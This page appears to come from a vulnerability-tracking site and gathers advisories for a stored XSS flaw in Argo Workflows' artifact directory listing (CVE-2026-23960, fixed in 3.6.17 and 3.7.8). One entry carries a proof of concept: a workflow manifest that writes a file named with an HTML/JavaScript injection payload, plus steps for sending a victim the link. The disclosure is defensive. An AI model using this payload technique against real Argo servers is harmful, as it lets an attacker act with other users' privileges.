Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Argo Workflows affected by stored XSS in the artifact directory listing

CVSS 4.0 7.3 HIGHEUVD CVSS 4.0 7.3 CVSS 4.0 · [email protected] · Secondary 7.3 HIGHCVSS 3.1 · [email protected] · Primary 5.4 MEDIUMCVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary 7.1 HIGHCVSS_V4 Publisher rating HIGHFixed by github.com/argoproj/argo-workflows/v3 3.6.17Fixed by github.com/argoproj/argo-workflows/v3 3.7.8osv · severity unknownFixed by github.com/argoproj/argo-workflows/v3 3.6.17Fixed by github.com/argoproj/argo-workflows/v3 3.7.8KEV status unknown

cve-program · CVE-2026-23960

Published

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.6.17 and 3.7.8, stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. Versions 3.6.17 and 3.7.8 fix the issue.

Read the publisher's advisory

euvd · EUVD-2026-3596

Published

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.6.17 and 3.7.8, stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. Versions 3.6.17 and 3.7.8 fix the issue.

Read the publisher's advisory

nvd · CVE-2026-23960

Published

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.6.17 and 3.7.8, stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. Versions 3.6.17 and 3.7.8 fix the issue.

Read the publisher's advisory

osv · GHSA-cv78-6m8q-ph82

Published

### Summary Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. ### Details The directory listing response in `server/artifacts/artifact_server.go` renders object names directly into HTML via `fmt.Fprintf` without escaping. Object names come from `driver.ListObjects(...)` and are attacker‑controlled when a workflow writes files into an output artifact directory. https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifact_server.go#L194-L244 ### PoC 1. Deploy Argo Workflows: ``` kubectl create ns argo kubectl apply --server-side -f manifests/base/crds/full kubectl apply --server-side -k manifests/quick-start/postgres ``` 2. Port‑forward Argo Server: ``` kubectl -n argo port-forward deploy/argo-server 2746:2746 ``` 3. Create the PoC workflow: ```yml cat > /tmp/argo-xss.yaml <<'EOF' apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: xss-artifact-test- spec: entrypoint: main templates: - name: main container: image: alpine command: [sh, -c] args: - | mkdir -p /tmp/artifacts touch '/tmp/artifacts/xss"><img src=x onerror="alert(document.domain)">.html' outputs: artifacts: - name: dir path: /tmp/artifacts archive: none: {} EOF ``` ``` kubectl -n argo create -f /tmp/argo-xss.yaml ``` 4. Wait for completion: ``` kubectl -n argo get wf -w ``` 5. Get the node ID: ``` kubectl -n argo get wf <wf-name> \ -o jsonpath='{range .status.nodes.*}{.id}{"\t"}{.displayName}{"\n"}{end}' ``` 6. Open the listing: `https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/` <img width="1220" height="349" alt="image" src="https://github.com/user-attachments/assets/9d859826-c7cd-403b-988e-74695552944b" /> ### Impact - The attacker creates a workflow that produces a HTML artifact that contains a HTML file that contains a script which uses XHR calls to interact with the Argo Server API. - The attacker emails the deep-link to the artifact to their victim. The victim opens the link, the script starts running. As the script has access to the Argo Server API (as the victim), so may do the following (if the victim may): - Read information about the victim’s workflows. - Create or delete workflows.

Read the publisher's advisory

osv · GO-2026-4350

Published

Argo Workflows affected by stored XSS in the artifact directory listing in github.com/argoproj/argo-workflows

Read the publisher's advisory

Affected versions, risk and source history

Related advisories and sources

Publishers link these advisories through the identifiers shown below. A shared identifier or date alone does not tell you whether your software is affected or whether the advisories describe the same cause.

CVE-2026-23960 · CVE overview and exploitation status

EUVD-2026-3596

GHSA-cv78-6m8q-ph82

BIT-argo-workflows-2026-23960

GO-2026-4350

cve-program · CVE-2026-23960

euvd · EUVD-2026-3596

nvd · CVE-2026-23960

osv · GHSA-cv78-6m8q-ph82

osv · GO-2026-4350

Related changes

Linked by CVE identifier

No related changes are available here.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 16 Nov 11:47 UTC · 274 of 275 readable · 250 fully read · 20 waiting for GitHub's hourly limit · documentation 469/469 current